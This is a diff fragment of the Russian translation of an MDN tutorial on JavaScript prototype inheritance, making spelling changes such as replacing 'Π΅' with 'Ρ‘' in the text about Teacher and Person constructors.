Π—Π΄Π΅ΡΡŒ наш Π΄Ρ€ΡƒΠ³ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> снова ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ Π½Π° ΠΏΠΎΠΌΠΎΡ‰ΡŒ. Π’ этом случаС ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΅Π³ΠΎ для создания Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ Π΄Π΅Π»Π°Π΅ΠΌ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>Teacher.prototype</code>. Новый ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ свой ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ <code>Person.prototype</code> ΠΈ, ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, наслСдуСт, Ссли ΠΈ ΠΊΠΎΠ³Π΄Π° это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ, всС доступныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>Person.prototype</code>.</li>
- <li>Нам Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ Π²Π΅Ρ‰ΡŒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС. ПослС добавлСния послСднСй строки, <code>Teacher.prototype.constructor</code> стало Ρ€Π°Π²Π½Ρ‹ΠΌΒ <code>Person()</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ просто устанавливаСм <code>Teacher.prototype</code> для ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСт Π΅Π³ΠΎ свойства ΠΎΡ‚ <code>Person.prototype</code>! ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ <code>Teacher.prototype.constructor</code> Π² консоль для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.</li>
+ <li>Нам Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ Π²Π΅Ρ‰ΡŒ, ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π΄Π²ΠΈΠ³Π°Ρ‚ΡŒΡΡ дальшС. ПослС добавлСния послСднСй строки, <code>Teacher.prototype.constructor</code> стало Ρ€Π°Π²Π½Ρ‹ΠΌΒ <code>Person()</code>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ просто устанавливаСм <code>Teacher.prototype</code> для ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСт Π΅Π³ΠΎ свойства ΠΎΡ‚ <code>Person.prototype</code>! ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄, Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ Π²Π²Π΅Π΄ΠΈΡ‚Π΅ <code>Teacher.prototype.constructor</code> Π² консоль для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ.</li>
<li>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, поэтому Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, Π²Π΅Ρ€Π½ΡƒΠ²ΡˆΠΈΡΡŒ ΠΊ исходному ΠΊΠΎΠ΄Ρƒ ΠΈ Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅Β ΡΡ‚Ρ€ΠΎΠΊΠΈΒ Π²Π½ΠΈΠ·Ρƒ:
<pre class="notranslate"><code>Object.defineProperty(Teacher.prototype, 'constructor', {
value: Teacher,
@@ -193,12 +193,12 @@ teacher1.farewell();</pre>
<p>ВсС Π΄ΠΎΠ»ΠΆΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ. Запросы Π² строках 1, 2, 3 ΠΈ 6 унаслСдованныС от ΠΎΠ±Ρ‰Π΅Π³ΠΎ конструктора <code>Person()</code> (класса). Запрос Π² строкС 4 обращаСтся ΠΊ <code>subject</code>, доступному Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Π±ΠΎΠ»Π΅Π΅ спСциализированного конструктора (класса) <code>Teacher()</code>. Запрос Π² строкС 5 ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» бы доступ ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ <code>greeting()</code>, унаслСдованному ΠΎΡ‚ <code>Person()</code>, Π½ΠΎΒ <code>Teacher()</code> ΠΈΠΌΠ΅Π΅Ρ‚ свой собствСнный ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>greeting()</code> с Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΈΠΌΠ΅Π½Π΅ΠΌ, поэтому запрос обращаСтся ΠΊ этому ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, сравнитС свой ΠΊΠΎΠ΄ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a> (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">Ρ€Π°Π±ΠΎΡ‡Π΅Π΅ Π΄Π΅ΠΌΠΎ</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, сравнитС свой ΠΊΠΎΠ΄ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a> (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">Ρ€Π°Π±ΠΎΡ‡Π΅Π΅ Π΄Π΅ΠΌΠΎ</a>).</p>
</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ здСсь рассмотрСли, - это Π½Π΅ СдинствСнный способ создания Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… классов Π² JavaScript, Π½ΠΎ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΠΈ это Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ наслСдованиС Π² JavaScript.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ΠΈΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ здСсь рассмотрСли, - это Π½Π΅ СдинствСнный способ создания Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… классов Π² JavaScript, Π½ΠΎ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΠΈ это Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ наслСдованиС Π² JavaScript.</p>
-<p>Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ интСрСсно ΡƒΠ·Π½Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ {{glossary("ECMAScript")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ наслСдованиС Π±ΠΎΠ»Π΅Π΅ чисто Π² JavaScript (см. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a>). ΠœΡ‹ Π½Π΅ рассматривали ΠΈΡ… здСсь, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ ΡˆΠΈΡ€ΠΎΠΊΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ВсС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ конструкторы ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ обсуТдали Π² этом Π½Π°Π±ΠΎΡ€Π΅ статСй, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΅Ρ‰Π΅ Π² IE9 ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅ ΠΈ Π΅ΡΡ‚ΡŒ способы Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ, Ρ‡Π΅ΠΌ это.</p>
+<p>Π’Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ интСрСсно ΡƒΠ·Π½Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΎΠ²Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ {{glossary("ECMAScript")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ Π΄Π΅Π»Π°Ρ‚ΡŒ наслСдованиС Π±ΠΎΠ»Π΅Π΅ чисто Π² JavaScript (см. <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a>). ΠœΡ‹ Π½Π΅ рассматривали ΠΈΡ… здСсь, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΎΡ‡Π΅Π½ΡŒ ΡˆΠΈΡ€ΠΎΠΊΠΎ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ВсС ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ конструкторы ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ обсуТдали Π² этом Π½Π°Π±ΠΎΡ€Π΅ статСй, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΅Ρ‰Ρ‘ Π² IE9 ΠΈΠ»ΠΈ Ρ€Π°Π½Π΅Π΅ ΠΈ Π΅ΡΡ‚ΡŒ способы Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½Π΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ, Ρ‡Π΅ΠΌ это.</p>
<p>ΠžΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ способ - ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ JavaScript - Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ популярных ΠΎΠΏΡ†ΠΈΠΉ ΠΈΠΌΠ΅ΡŽΡ‚ простой Π½Π°Π±ΠΎΡ€ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, доступных для выполнСния наслСдования Π±ΠΎΠ»Π΅Π΅ Π»Π΅Π³ΠΊΠΎ ΠΈ быстро. <a href="http://coffeescript.org/#classes">CoffeeScript</a> , Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, прСдоставляСт класс, Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ ΠΈ Ρ‚.Π΄.</p>
@@ -207,7 +207,7 @@ teacher1.farewell();</pre>
<p>Π’ нашСм <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">руководствС ΠΏΠΎ ΠžΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒΒ JavaScript для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ…</a>Β ΠΌΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΠ»ΠΈ класс <code>Student</code> ΠΊΠ°ΠΊ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ, которая наслСдуСт всС особСнности <code>Person</code>, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>greeting()</code> ΠΎΡ‚ <code>Person</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ Π½Π΅Ρ„ΠΎΡ€ΠΌΠ°Π»Π΅Π½, Ρ‡Π΅ΠΌ привСтствиС <code>Teacher</code>. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅, ΠΊΠ°ΠΊ выглядит привСтствиС ΡƒΡ‡Π΅Π½ΠΈΠΊΠ° Π² этом Ρ€Π°Π·Π΄Π΅Π»Π΅, ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ собствСнный конструктор <code>Student()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ наслСдуСт всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>Person()</code> ΠΈ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>greeting()</code>.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, сравнитС свой ΠΊΠΎΠ΄ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a>Β (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">Ρ€Π°Π±ΠΎΡ‡Π΅Π΅ Π΄Π΅ΠΌΠΎ</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ это Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, сравнитС свой ΠΊΠΎΠ΄ с нашСй <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a>Β (см. Ρ‚Π°ΠΊΠΆΠ΅ <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">Ρ€Π°Π±ΠΎΡ‡Π΅Π΅ Π΄Π΅ΠΌΠΎ</a>).</p>
</div>
<h2 id="Object_member_summary">Object member summary</h2>
@@ -215,20 +215,20 @@ teacher1.farewell();</pre>
<p>Подводя ΠΈΡ‚ΠΎΠ³, Π²Ρ‹ Π² основном ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ Ρ‚Ρ€ΠΈ Ρ‚ΠΈΠΏΠ° свойств / ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ:</p>
<ol>
- <li>Π’Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ экзСмплярам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π˜Ρ… довольно Π»Π΅Π³ΠΊΠΎ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ - Π² вашСм собствСнном ΠΊΠΎΠ΄Π΅ ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой элСмСнты, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ строки <code>this.x = x</code>; Π² встроСнном ΠΊΠΎΠ΄Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π»Π΅Π½Π°ΠΌΠΈ, доступными Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° конструктора с использованиСм ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>new</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>var myInstance = new myConstructor ()</code>.</li>
- <li>Π’Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ нСпосрСдствСнно самим конструктором, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для конструктора. Они ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для встроСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Π΅ΠΌ нСпосрСдствСнной привязки ΠΊ конструктору, Π° Π½Π΅ ΠΊ экзСмпляру. НапримСр, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>.</li>
- <li>Π’Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ всСми экзСмплярами ΠΈ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ классы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². К Π½ΠΈΠΌ относятся любой Ρ‡Π»Π΅Π½, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π² свойствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° конструктора, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. <code>myConstructor.prototype.x()</code>.</li>
+ <li>Π’Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ экзСмплярам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π˜Ρ… довольно Π»Π΅Π³ΠΊΠΎ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ - Π² вашСм собствСнном ΠΊΠΎΠ΄Π΅ ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ собой элСмСнты, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ конструктора, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ строки <code>this.x = x</code>; Π² встроСнном ΠΊΠΎΠ΄Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‡Π»Π΅Π½Π°ΠΌΠΈ, доступными Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° конструктора с использованиСм ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>new</code>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>var myInstance = new myConstructor ()</code>.</li>
+ <li>Π’Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ нСпосрСдствСнно самим конструктором, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для конструктора. Они ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ доступны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для встроСнных ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ΡΡ ΠΏΡƒΡ‚Ρ‘ΠΌ нСпосрСдствСнной привязки ΠΊ конструктору, Π° Π½Π΅ ΠΊ экзСмпляру. НапримСр, <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>.</li>
+ <li>Π’Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ конструктора, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ΡΡ всСми экзСмплярами ΠΈ Π½Π°ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ классы ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ². К Π½ΠΈΠΌ относятся любой Ρ‡Π»Π΅Π½, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π² свойствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° конструктора, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€. <code>myConstructor.prototype.x()</code>.</li>
</ol>
-<p>Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ это Ρ‚Π°ΠΊΠΎΠ΅, Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎΠ± этом, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π΅Ρ‰Π΅ ΡƒΡ‡ΠΈΡ‚Π΅ΡΡŒ ΠΈ Π·Π½Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ΄Π΅Ρ‚ с ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ.</p>
